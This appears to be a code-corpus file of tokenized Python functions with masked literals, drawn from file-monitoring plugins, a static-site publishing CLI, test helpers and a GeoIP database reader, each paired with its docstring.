{"signature": "def filenumber_handle(self):", "body": "self.file_list = []<EOL>self.count = <NUM_LIT:0><EOL>status = self.ok<EOL>if self.args.recursion:<EOL><INDENT>self.__result, self.__file_list = self.__get_folder(self.args.path)<EOL><DEDENT>else:<EOL><INDENT>self.__result, self.__file_list = self.__get_file(self.args.path)<EOL><DEDENT>if self.__result > self.args.critical:<EOL><INDENT>status = self.critical<EOL><DEDENT>elif self.__result > self.args.warning:<EOL><INDENT>status = self.warning<EOL><DEDENT>else:<EOL><INDENT>status = self.ok<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(self.__result,<EOL>self.args.path)<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__file_list))<EOL>[self.longoutput.append(file_data.get('<STR_LIT:Name>'))<EOL>for file_data in self.__file_list]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=self.__result,<EOL>path=self.args.path))<EOL>status(self.output(long_output_limit=None))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Get the number of file in the folder.", "id": "f12542:c0:m4"}
{"signature": "def __get_current_datetime(self):", "body": "self.wql_time = \"<STR_LIT>\"<EOL>self.current_time = self.query(self.wql_time)<EOL>self.current_time_string = str(<EOL>self.current_time[<NUM_LIT:0>].get('<STR_LIT>').split('<STR_LIT:.>')[<NUM_LIT:0>])<EOL>self.current_time_format = datetime.datetime.strptime(<EOL>self.current_time_string, '<STR_LIT>')<EOL>return self.current_time_format<EOL>", "docstring": "Get current datetime for every file.", "id": "f12542:c1:m4"}
{"signature": "def fileage_handle(self):", "body": "self.file_list = []<EOL>self.ok_file = []<EOL>self.warn_file = []<EOL>self.crit_file = []<EOL>status = self.ok<EOL>if self.args.recursion:<EOL><INDENT>self.__file_list = self.__get_folder(self.args.path)<EOL><DEDENT>else:<EOL><INDENT>self.__file_list = self.__get_file(self.args.path)<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\".format(self.__file_list))<EOL>for file_dict in self.__file_list:<EOL><INDENT>self.filename = file_dict.get('<STR_LIT:Name>')<EOL>if self.filename and self.filename != '<STR_LIT:Name>':<EOL><INDENT>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.filename))<EOL>self.file_datetime_string = file_dict.get(<EOL>'<STR_LIT>').split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>self.file_datetime = datetime.datetime.strptime(<EOL>self.file_datetime_string, '<STR_LIT>')<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.file_datetime))<EOL>self.current_datetime = self.__get_current_datetime()<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.current_datetime))<EOL>self.__delta_datetime = self.current_datetime - self.file_datetime<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.__delta_datetime))<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>datetime.timedelta(<EOL>minutes=self.args.warning)))<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>datetime.timedelta(<EOL>minutes=self.args.critical)))<EOL>if self.__delta_datetime > datetime.timedelta(<EOL>minutes=self.args.critical):<EOL><INDENT>self.crit_file.append(self.filename)<EOL><DEDENT>elif self.__delta_datetime > datetime.timedelta(minutes=self.args.warning):<EOL><INDENT>self.warn_file.append(self.filename)<EOL><DEDENT>else:<EOL><INDENT>self.ok_file.append(self.filename)<EOL><DEDENT><DEDENT><DEDENT>if self.crit_file:<EOL><INDENT>status = self.critical<EOL><DEDENT>elif self.warn_file:<EOL><INDENT>status = self.warning<EOL><DEDENT>else:<EOL><INDENT>status = self.ok<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(<EOL>len(self.crit_file))<EOL>if self.crit_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.crit_file if self.crit_file]<EOL>if self.warn_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.warn_file if self.warn_file]<EOL>if self.ok_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.ok_file if self.ok_file]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=len(self.crit_file),<EOL>path=self.args.drive + self.args.path))<EOL>status(self.output(long_output_limit=None))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Get the number of file in the folder.", "id": "f12542:c1:m5"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.filenumber_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12543:m0"}
{"signature": "def filenumber_handle(self):", "body": "self.__results = []<EOL>self.__dirs = []<EOL>self.__files = []<EOL>self.__ftp = self.connect()<EOL>self.__ftp.dir(self.args.path, self.__results.append)<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__results))<EOL>self.quit()<EOL>status = self.ok<EOL>for data in self.__results:<EOL><INDENT>if \"<STR_LIT>\" in data:<EOL><INDENT>self.__dirs.append(str(data.split()[<NUM_LIT:3>]))<EOL><DEDENT>else:<EOL><INDENT>self.__files.append(str(data.split()[<NUM_LIT:2>]))<EOL><DEDENT><DEDENT>self.__result = len(self.__files)<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__result))<EOL>if self.__result > self.args.warning:<EOL><INDENT>status = self.warning<EOL><DEDENT>if self.__result > self.args.critical:<EOL><INDENT>status = self.critical<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(self.__result,<EOL>self.args.path)<EOL>[self.longoutput.append(line)<EOL>for line in self.__results if self.__results]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=self.__result,<EOL>path=self.args.path))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>status(self.output())<EOL>", "docstring": "Get the number of files in the folder.", "id": "f12543:c0:m2"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.sqlserverlocks_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12544:m0"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.sql_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.database_used_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.database_log_used_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12545:m0"}
{"signature": "def combine_filenames(filenames, max_length=<NUM_LIT>):", "body": "<EOL>path = None<EOL>names = []<EOL>extension = None<EOL>timestamps = []<EOL>shas = []<EOL>filenames.sort()<EOL>concat_names = \"<STR_LIT:_>\".join(filenames)<EOL>if concat_names in COMBINED_FILENAMES_GENERATED:<EOL><INDENT>return COMBINED_FILENAMES_GENERATED[concat_names]<EOL><DEDENT>for filename in filenames:<EOL><INDENT>name = os.path.basename(filename)<EOL>if not extension:<EOL><INDENT>extension = os.path.splitext(name)[<NUM_LIT:1>]<EOL><DEDENT>elif os.path.splitext(name)[<NUM_LIT:1>] != extension:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for base in MEDIA_ROOTS:<EOL><INDENT>try:<EOL><INDENT>shas.append(md5(os.path.join(base, filename)))<EOL>break<EOL><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if path is None:<EOL><INDENT>path = os.path.dirname(filename)<EOL><DEDENT>else:<EOL><INDENT>if len(os.path.dirname(filename)) < len(path):<EOL><INDENT>path = os.path.dirname(filename)<EOL><DEDENT><DEDENT><DEDENT>m = hashlib.md5()<EOL>m.update(\"<STR_LIT:U+002C>\".join(shas))<EOL>new_filename = \"<STR_LIT>\" % m.hexdigest()<EOL>new_filename = new_filename[:max_length]<EOL>new_filename += extension<EOL>COMBINED_FILENAMES_GENERATED[concat_names] = new_filename<EOL>return os.path.join(path, new_filename)<EOL>", "docstring": "Return a new filename to use as the combined file name for a\n    bunch of files, based on the SHA of their contents.\n    A precondition is that they all have the same file extension\n\n    Given that the list of files can have different paths, we aim to use the\n    most common path.\n\n    Example:\n      /somewhere/else/foo.js\n      /somewhere/bar.js\n      /somewhere/different/too/foobar.js\n    The result will be\n      /somewhere/148713695b4a4b9083e506086f061f9c.js\n\n    Another thing to note, if the filenames have timestamps in them, combine\n    them all and use the highest timestamp.", "id": "f12547:m2"}
{"signature": "def apply_orientation(im):", "body": "try:<EOL><INDENT>kOrientationEXIFTag = <NUM_LIT><EOL>if hasattr(im, '<STR_LIT>'): <EOL><INDENT>e = im._getexif()       <EOL>if e is not None:<EOL><INDENT>orientation = e[kOrientationEXIFTag]<EOL>f = orientation_funcs[orientation]<EOL>return f(im)<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>pass <EOL><DEDENT>return im<EOL>", "docstring": "Extract the oritentation EXIF tag from the image, which should be a PIL Image instance,\nand if there is an orientation tag that would rotate the image, apply that rotation to\nthe Image instance given to do an in-place rotation.\n\n:param Image im: Image instance to inspect\n:return: A possibly transposed image instance", "id": "f12547:m14"}
{"signature": "@click.group()<EOL>def cli():", "body": "pass<EOL>", "docstring": "Ink.  Publication made simple.", "id": "f12547:m50"}
{"signature": "@cli.command()<EOL>def write():", "body": "click.echo(\"<STR_LIT>\")<EOL>title = click.prompt(\"<STR_LIT>\")<EOL>url = slugify(title)<EOL>url = click.prompt(\"<STR_LIT>\", default=url)<EOL>click.echo(\"<STR_LIT>\" % url)<EOL>scaffold_piece(title, url)<EOL>", "docstring": "Start a new piece", "id": "f12547:m54"}
{"signature": "@cli.command()<EOL>def scaffold():", "body": "click.echo(\"<STR_LIT>\")<EOL>title = click.prompt(\"<STR_LIT>\")<EOL>url = click.prompt(\"<STR_LIT>\")<EOL>click.echo(\"<STR_LIT>\" % url)<EOL>", "docstring": "Start a new site.", "id": "f12547:m55"}
{"signature": "@cli.command()<EOL>def publish():", "body": "try:<EOL><INDENT>build_site(dev_mode=False, clean=True)<EOL>click.echo('<STR_LIT>')<EOL>call(\"<STR_LIT>\" % (BUILD_DIR, CONFIG[\"<STR_LIT>\"],), shell=True)<EOL>if \"<STR_LIT>\" in CONFIG and \"<STR_LIT>\" in CONFIG[\"<STR_LIT>\"] and CONFIG[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>do_purge()<EOL><DEDENT><DEDENT>except (KeyboardInterrupt, SystemExit):<EOL><INDENT>raise<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Publish the site", "id": "f12547:m56"}
{"signature": "@cli.command()<EOL>def promote():", "body": "if \"<STR_LIT>\" not in os.environ:<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>echo(\"<STR_LIT>\")<EOL>echo(\"<STR_LIT>\")<EOL>echo(\"<STR_LIT>\")<EOL>echo(\"<STR_LIT>\")<EOL><DEDENT>echo(\"<STR_LIT>\")<EOL>profiles = buffer_get(\"<STR_LIT>\")<EOL>for p in profiles:<EOL><INDENT>supported_profile = False<EOL>if p[\"<STR_LIT>\"].lower() == \"<STR_LIT>\" or p[\"<STR_LIT>\"].lower() == \"<STR_LIT>\":<EOL><INDENT>facebook_profiles.append(p)<EOL>supported_profile = True<EOL><DEDENT>elif p[\"<STR_LIT>\"].lower() == \"<STR_LIT>\":<EOL><INDENT>twitter_profiles.append(p)<EOL>supported_profile = True<EOL><DEDENT>if supported_profile:<EOL><INDENT>click.secho(\"<STR_LIT>\" % (p[\"<STR_LIT>\"], p[\"<STR_LIT>\"]), fg=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>echo(\"<STR_LIT>\")<EOL>site_json_filename = os.path.join(ROOT_DIR, BUILD_DIR, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>with open(site_json_filename, \"<STR_LIT:r>\") as site_json:<EOL><INDENT>site = load(site_json)<EOL><DEDENT>echo('<STR_LIT>')<EOL>posts = {}<EOL>unpublished_posts = []<EOL>for dirpath, dirnames, filenames in os.walk(os.path.join(ROOT_DIR, \"<STR_LIT>\"), topdown=False):<EOL><INDENT>for filename in filenames:<EOL><INDENT>if \"<STR_LIT>\" in filename:<EOL><INDENT>if exists(dirpath, \"<STR_LIT>\") and exists(dirpath, \"<STR_LIT>\"):<EOL><INDENT>with open(os.path.join(dirpath, \"<STR_LIT>\")) as f:<EOL><INDENT>social = load(f)<EOL><DEDENT>with open(os.path.join(dirpath, \"<STR_LIT>\")) as f:<EOL><INDENT>meta = load(f)<EOL><DEDENT>if \"<STR_LIT:url>\" in meta:<EOL><INDENT>site_json_entry = None<EOL>for sp in site[\"<STR_LIT>\"]:<EOL><INDENT>if meta[\"<STR_LIT:url>\"] == sp[\"<STR_LIT:url>\"]:<EOL><INDENT>site_json_entry = sp<EOL>break<EOL><DEDENT><DEDENT>posts[meta[\"<STR_LIT:url>\"]] = {<EOL>\"<STR_LIT>\": meta,<EOL>\"<STR_LIT>\": social,<EOL>\"<STR_LIT>\": dirpath,<EOL>\"<STR_LIT>\": site_json_entry,<EOL>}<EOL>if \"<STR_LIT>\" not in social or social[\"<STR_LIT>\"] is not True:<EOL><INDENT>unpublished_posts.append(meta[\"<STR_LIT:url>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" % dirpath.replace(ROOT_DIR))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>automark_set = False<EOL>automark = None<EOL>for u in unpublished_posts:<EOL><INDENT>post = posts[u]<EOL>if \"<STR_LIT>\" in post[\"<STR_LIT>\"] and post[\"<STR_LIT>\"][\"<STR_LIT>\"] and len(post[\"<STR_LIT>\"][\"<STR_LIT>\"]) > <NUM_LIT:0>:<EOL><INDENT>facebook_posts = []<EOL>twitter_posts = []<EOL>mark_as_published = False<EOL>has_valid_post = False<EOL>for p in post[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>if len(list(p.keys())) != <NUM_LIT:1>:<EOL><INDENT>error(\"<STR_LIT>\" % u)<EOL>break<EOL><DEDENT>if list(p.keys())[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>facebook_posts.append(p[\"<STR_LIT>\"])<EOL>if post_in_future(p[\"<STR_LIT>\"], post):<EOL><INDENT>has_valid_post = True<EOL><DEDENT><DEDENT>elif list(p.keys())[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>if post_in_future(p[\"<STR_LIT>\"], post):<EOL><INDENT>has_valid_post = True<EOL><DEDENT>twitter_posts.append(p[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" % list(p.keys())[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>except:<EOL><INDENT>error(\"<STR_LIT>\" % post[\"<STR_LIT>\"][\"<STR_LIT:title>\"])<EOL>import traceback<EOL>traceback.print_exc()<EOL><DEDENT><DEDENT>if not has_valid_post:<EOL><INDENT>if automark:<EOL><INDENT>mark_as_published = True<EOL><DEDENT>else:<EOL><INDENT>warn('<STR_LIT>' % post[\"<STR_LIT>\"][\"<STR_LIT:title>\"])<EOL>if click.confirm(\"<STR_LIT>\"):<EOL><INDENT>mark_as_published = True<EOL>if not automark_set:<EOL><INDENT>if click.confirm(\"<STR_LIT>\"):<EOL><INDENT>automark = True<EOL><DEDENT>automark_set = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>echo('<STR_LIT>' % post[\"<STR_LIT>\"][\"<STR_LIT:title>\"])<EOL>if len(facebook_posts) > <NUM_LIT:0>:<EOL><INDENT>echo(\"<STR_LIT>\")<EOL>for p in facebook_posts:<EOL><INDENT>if (len(p[\"<STR_LIT:content>\"]) > <NUM_LIT>):<EOL><INDENT>truncated_content = \"<STR_LIT>\" % p[\"<STR_LIT:content>\"][:<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>truncated_content = p[\"<STR_LIT:content>\"]<EOL><DEDENT>if post_in_future(p, post):<EOL><INDENT>echo(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>))<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>))<EOL><DEDENT><DEDENT><DEDENT>echo(\"<STR_LIT>\")<EOL>if len(twitter_posts) > <NUM_LIT:0>:<EOL><INDENT>for p in twitter_posts:<EOL><INDENT>if (len(p[\"<STR_LIT:content>\"]) > <NUM_LIT>):<EOL><INDENT>truncated_content = \"<STR_LIT>\" % p[\"<STR_LIT:content>\"][:<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>truncated_content = p[\"<STR_LIT:content>\"]<EOL><DEDENT>if post_in_future(p, post):<EOL><INDENT>echo(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>))<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>))<EOL><DEDENT><DEDENT><DEDENT>if click.confirm(click.style(\"<STR_LIT>\", fg=\"<STR_LIT>\")):<EOL><INDENT>mark_as_published = True<EOL>echo(\"<STR_LIT>\")<EOL>for p in facebook_posts:<EOL><INDENT>if post_in_future(p, post):<EOL><INDENT>publish_facebook(p, post)<EOL>if (len(p[\"<STR_LIT:content>\"]) > <NUM_LIT>):<EOL><INDENT>truncated_content = \"<STR_LIT>\" % p[\"<STR_LIT:content>\"][:<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>truncated_content = p[\"<STR_LIT:content>\"]<EOL><DEDENT>click.secho(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>), fg=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>for p in twitter_posts:<EOL><INDENT>if post_in_future(p, post):<EOL><INDENT>publish_twitter(p, post)<EOL>if (len(p[\"<STR_LIT:content>\"]) > <NUM_LIT>):<EOL><INDENT>truncated_content = \"<STR_LIT>\" % p[\"<STR_LIT:content>\"][:<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>truncated_content = p[\"<STR_LIT:content>\"]<EOL><DEDENT>click.secho(\"<STR_LIT>\" % (<EOL>publish_datetime(p, post).strftime(\"<STR_LIT>\"),<EOL>truncated_content,<EOL>), fg=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>echo(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if mark_as_published or automark:<EOL><INDENT>post[\"<STR_LIT>\"][\"<STR_LIT>\"] = True<EOL>with open(os.path.join(post[\"<STR_LIT>\"], \"<STR_LIT>\"), \"<STR_LIT:w>\") as f:<EOL><INDENT>dump(post[\"<STR_LIT>\"], f, default_flow_style=False, width=<NUM_LIT:1000>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if click.confirm(\"<STR_LIT>\"):<EOL><INDENT>print (\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Schedule all the social media posts.", "id": "f12547:m57"}
{"signature": "@cli.command()<EOL>def list():", "body": "click.echo('<STR_LIT>')<EOL>", "docstring": "List all posts", "id": "f12547:m58"}
{"signature": "@cli.command()<EOL>def serve():", "body": "build_site(dev_mode=True)<EOL>serve_site()<EOL>", "docstring": "Serve the site for local testing and editing.", "id": "f12547:m59"}
{"signature": "@contextlib.contextmanager<EOL>def replaced_directory(dirname):", "body": "if dirname[-<NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>dirname = dirname[:-<NUM_LIT:1>]<EOL><DEDENT>full_path = os.path.abspath(dirname)<EOL>if not os.path.isdir(full_path):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>base, name = os.path.split(full_path)<EOL>tempdir = tempfile.mkdtemp()<EOL>shutil.move(full_path, tempdir)<EOL>os.mkdir(full_path)<EOL>try:<EOL><INDENT>yield tempdir<EOL><DEDENT>finally:<EOL><INDENT>shutil.rmtree(full_path)<EOL>moved = os.path.join(tempdir, name)<EOL>shutil.move(moved, base)<EOL>shutil.rmtree(tempdir)<EOL><DEDENT>", "docstring": "This ``Context Manager`` is used to move the contents of a directory\n    elsewhere temporarily and put them back upon exit.  This allows testing\n    code to use the same file directories as normal code without fear of\n    damage.\n\n    The name of the temporary directory which contains your files is yielded.\n\n    :param dirname:\n        Path name of the directory to be replaced.\n\n\n    Example:\n\n    .. code-block:: python\n\n        with replaced_directory('/foo/bar/') as rd:\n            # \"/foo/bar/\" has been moved & renamed\n            with open('/foo/bar/thing.txt', 'w') as f:\n                f.write('stuff')\n                f.close()\n\n\n        # got here? => \"/foo/bar/ is now restored and temp has been wiped, \n        # \"thing.txt\" is gone", "id": "f12549:m3"}
{"signature": "@contextlib.contextmanager<EOL>def capture_stdout():", "body": "stdout = sys.stdout<EOL>try:<EOL><INDENT>capture_out = StringIO()<EOL>sys.stdout = capture_out<EOL>yield capture_out<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout = stdout<EOL><DEDENT>", "docstring": "This ``Context Manager`` redirects STDOUT to a ``StringIO`` objects\n    which is returned from the ``Context``.  On exit STDOUT is restored.\n\n    Example:\n\n    .. code-block:: python\n\n        with capture_stdout() as capture:\n            print('foo')\n\n        # got here? => capture.getvalue() will now have \"foo\\\\n\"", "id": "f12549:m4"}
{"signature": "@contextlib.contextmanager<EOL>def capture_stderr():", "body": "stderr = sys.stderr<EOL>try:<EOL><INDENT>capture_out = StringIO()<EOL>sys.stderr = capture_out<EOL>yield capture_out<EOL><DEDENT>finally:<EOL><INDENT>sys.stderr = stderr<EOL><DEDENT>", "docstring": "This ``Context Manager`` redirects STDERR to a ``StringIO`` objects\n    which is returned from the ``Context``.  On exit STDERR is restored.\n\n    Example:\n\n    .. code-block:: python\n\n        with capture_stderr() as capture:\n            print('foo')\n\n        # got here? => capture.getvalue() will now have \"foo\\\\n\"", "id": "f12549:m5"}
{"signature": "def pprint(data):", "body": "print(json.dumps(data, sort_keys=True, indent=<NUM_LIT:4>, separators=('<STR_LIT:U+002C>', '<STR_LIT>')))<EOL>", "docstring": "Alternative to `pprint.PrettyPrinter()` that uses `json.dumps()` for\n    sorting and displaying data.  \n\n    :param data: item to print to STDOUT.  The item must be json serializable!", "id": "f12549:m6"}
{"signature": "def time_zone_by_country_and_region(country_code, region_code=None):", "body": "timezone = country_dict.get(country_code)<EOL>if not timezone:<EOL><INDENT>return None<EOL><DEDENT>if isinstance(timezone, str):<EOL><INDENT>return timezone<EOL><DEDENT>return timezone.get(region_code)<EOL>", "docstring": "Returns time zone from country and region code.\n\n:arg country_code: Country code\n:arg region_code: Region code", "id": "f12577:m0"}
{"signature": "def ip2long(ip):", "body": "try:<EOL><INDENT>return int(binascii.hexlify(socket.inet_aton(ip)), <NUM_LIT:16>)<EOL><DEDENT>except socket.error:<EOL><INDENT>return int(binascii.hexlify(socket.inet_pton(socket.AF_INET6, ip)), <NUM_LIT:16>)<EOL><DEDENT>", "docstring": "Wrapper function for IPv4 and IPv6 converters.\n\n:arg ip: IPv4 or IPv6 address", "id": "f12578:m0"}
{"signature": "def str2fp(data):", "body": "return BytesIO(bytearray(data, const.ENCODING)) if const.PY3 else StringIO(data)<EOL>", "docstring": "Convert bytes data to file handle object (StringIO or BytesIO).\n\n:arg data: String data to transform", "id": "f12578:m1"}
{"signature": "def __call__(cls, *args, **kwargs):", "body": "if len(args) > <NUM_LIT:0>:<EOL><INDENT>filename = args[<NUM_LIT:0>]<EOL><DEDENT>elif '<STR_LIT:filename>' in kwargs:<EOL><INDENT>filename = kwargs['<STR_LIT:filename>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if not kwargs.get('<STR_LIT>', True):<EOL><INDENT>return super(_GeoIPMetaclass, cls).__call__(*args, **kwargs)<EOL><DEDENT>try:<EOL><INDENT>cls._instance_lock.acquire()<EOL>if filename not in cls._instances:<EOL><INDENT>cls._instances[filename] = super(_GeoIPMetaclass, cls).__call__(*args, **kwargs)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>cls._instance_lock.release()<EOL><DEDENT>return cls._instances[filename]<EOL>", "docstring": "Singleton method to gets an instance without reparsing\nthe database, the filename is being used as cache key.", "id": "f12580:c1:m0"}
{"signature": "def __init__(self, filename, flags=STANDARD, cache=True):", "body": "self._lock = Lock()<EOL>self._flags = flags<EOL>self._netmask = None<EOL>if self._flags & const.MMAP_CACHE and mmap is None:  <EOL><INDENT>import warnings<EOL>warnings.warn(\"<STR_LIT>\")<EOL>self._flags &= ~const.MMAP_CACHE<EOL><DEDENT>if self._flags & const.MMAP_CACHE:<EOL><INDENT>f = codecs.open(filename, '<STR_LIT:rb>', ENCODING)<EOL>access = mmap.ACCESS_READ<EOL>self._fp = mmap.mmap(f.fileno(), <NUM_LIT:0>, access=access)<EOL>self._type = '<STR_LIT>'<EOL>f.close()<EOL><DEDENT>elif self._flags & const.MEMORY_CACHE:<EOL><INDENT>f = codecs.open(filename, '<STR_LIT:rb>', ENCODING)<EOL>self._memory = f.read()<EOL>self._fp = util.str2fp(self._memory)<EOL>self._type = '<STR_LIT>'<EOL>f.close()<EOL><DEDENT>else:<EOL><INDENT>self._fp = codecs.open(filename, '<STR_LIT:rb>', ENCODING)<EOL>self._type = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>self._lock.acquire()<EOL>self._setup_segments()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Create and return an GeoIP instance.\n\n:arg filename: File path to a GeoIP database\n:arg flags: Flags that affect how the database is processed.\n    Currently supported flags are STANDARD (default),\n    MEMORY_CACHE (preload the whole file into memory) and\n    MMAP_CACHE (access the file via mmap)\n:arg cache: Used in tests to skip instance caching", "id": "f12580:c2:m0"}
{"signature": "def _setup_segments(self):", "body": "self._databaseType = const.COUNTRY_EDITION<EOL>self._recordLength = const.STANDARD_RECORD_LENGTH<EOL>self._databaseSegments = const.COUNTRY_BEGIN<EOL>filepos = self._fp.tell()<EOL>self._fp.seek(-<NUM_LIT:3>, os.SEEK_END)<EOL>for i in range(const.STRUCTURE_INFO_MAX_SIZE):<EOL><INDENT>chars = chr(<NUM_LIT:255>) * <NUM_LIT:3><EOL>delim = self._fp.read(<NUM_LIT:3>)<EOL>if PY3 and type(delim) is bytes:<EOL><INDENT>delim = delim.decode(ENCODING)<EOL><DEDENT>if PY2:<EOL><INDENT>chars = chars.decode(ENCODING)<EOL>if type(delim) is str:<EOL><INDENT>delim = delim.decode(ENCODING)<EOL><DEDENT><DEDENT>if delim == chars:<EOL><INDENT>byte = self._fp.read(<NUM_LIT:1>)<EOL>self._databaseType = ord(byte)<EOL>if self._databaseType >= <NUM_LIT>:<EOL><INDENT>self._databaseType -= <NUM_LIT><EOL><DEDENT>if self._databaseType == const.REGION_EDITION_REV0:<EOL><INDENT>self._databaseSegments = const.STATE_BEGIN_REV0<EOL><DEDENT>elif self._databaseType == const.REGION_EDITION_REV1:<EOL><INDENT>self._databaseSegments = const.STATE_BEGIN_REV1<EOL><DEDENT>elif self._databaseType in (const.CITY_EDITION_REV0,<EOL>const.CITY_EDITION_REV1,<EOL>const.CITY_EDITION_REV1_V6,<EOL>const.ORG_EDITION,<EOL>const.ISP_EDITION,<EOL>const.NETSPEED_EDITION_REV1,<EOL>const.NETSPEED_EDITION_REV1_V6,<EOL>const.ASNUM_EDITION,<EOL>const.ASNUM_EDITION_V6):<EOL><INDENT>self._databaseSegments = <NUM_LIT:0><EOL>buf = self._fp.read(const.SEGMENT_RECORD_LENGTH)<EOL>if PY3 and type(buf) is bytes:<EOL><INDENT>buf = buf.decode(ENCODING)<EOL><DEDENT>for j in range(const.SEGMENT_RECORD_LENGTH):<EOL><INDENT>self._databaseSegments += (ord(buf[j]) << (j * <NUM_LIT:8>))<EOL><DEDENT>LONG_RECORDS = (const.ORG_EDITION, const.ISP_EDITION)<EOL>if self._databaseType in LONG_RECORDS:<EOL><INDENT>self._recordLength = const.ORG_RECORD_LENGTH<EOL><DEDENT><DEDENT>break<EOL><DEDENT>else:<EOL><INDENT>self._fp.seek(-<NUM_LIT:4>, os.SEEK_CUR)<EOL><DEDENT><DEDENT>self._fp.seek(filepos, os.SEEK_SET)<EOL>", "docstring": "Parses the database file to determine what kind of database is\nbeing used and setup segment sizes and start points that will\nbe used by the seek*() methods later.", "id": "f12580:c2:m1"}
